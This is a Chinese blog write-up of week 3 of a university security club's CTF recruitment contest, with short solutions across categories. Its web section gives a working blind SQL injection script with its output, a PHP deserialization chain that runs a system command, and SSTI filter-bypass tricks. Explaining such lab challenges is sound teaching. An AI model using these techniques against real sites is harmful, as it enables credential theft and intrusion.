螺丝网安2024招新题WP Week3

CRYPTO

T1

复数域应用RSA,φ\varphi(p21)(q21)(p^2-1)(q^2-1) .

MISC

T1

摩尔斯电码,用Audacity打开频谱图就能看见了.

PWN

T1

flag1是根目录下的一个程序,添加权限运行;
flag2是一个隐藏文件,文件名:.flag2
flag3在环境变量里.

REVERSE

无事发生.

WEB

T1

PHP的魔术方法:

字符串解析首先进入__destruct(),接着返回的字符串进入__tostring(),然后返回的是函数类型可以进入__invoke(),接着由于指向了不存在的flash就可以触发__get().
最后由于指向的championpoint()函数是私有函数,在外部访问就会触发__call(),然后执行date("Y-m-d H:i:s")命令. 这里只需要将变量kk改为systemRieNs改为cat /flag,即可执行命令system("cat /flag"),获得flag.

T2

SSTI注入+常规字符串绕过. 由于.__class__等效于["__class__"],且一个字符串等效于多个字符串连接,所以.__class__不允许用改成["__cla""ss__"]就好了. 其余关键字同理.

T3

SQL注入. 只是查询错误会显示“查询失败”而不是详细信息罢了. 发现查询字符串password后面连接OR 1<2不回显任何内容,而连接OR 1>2回显“用户名或密码错误!”.
因此,可以设计一个二分的方法逐位推断密码.

点击查看代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests

s = requests.Session()
url = 'http://***/login.php'
flag = ''

def exp(i, j):
payload = f"or (ascii(substr(password,{i},1))>{j})#"
data = {
"username": "admin\\",
"password": payload
}
r = s.post(url, data=data)
if "用户名或密码错误!" in r.text:
return False
else:
return True

for i in range(1, 100):
low = 32
high = 127
while (low <= high):
mid = (low + high)//2
if (exp(i, mid)):
low = mid + 1
else:
high = mid - 1
flag += chr((low+high+1)//2)
print(flag)

运行结果:

点击查看代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
noilinux@noilinux:~/桌面$ python3 a.py
i
in
ins
ins0
ins0m
ins0mn
ins0mn1
ins0mn1a
ins0mn1a0
ins0mn1a09
ins0mn1a090
ins0mn1a0903
ins0mn1a0903H
ins0mn1a0903Ha
ins0mn1a0903Hah
ins0mn1a0903HahA
ins0mn1a0903HahA

出来密码就好办了. 登录后修改链接至根目录即可获取flag.

T4

在T2的基础上增加了禁止使用单引号的规则. 然而双引号可以使用,因此在“引号套引号”的字符串里,将'改为\"即可. 其余禁止使用的关键字还是利用字符串绕过的方法.


螺丝网安2024招新题WP Week3
本文链接:http://blog.ac1liu.tech/p/18457072.html
发布时间
2024年10月10日
许可协议
转载说明
请注明出处!
发表评论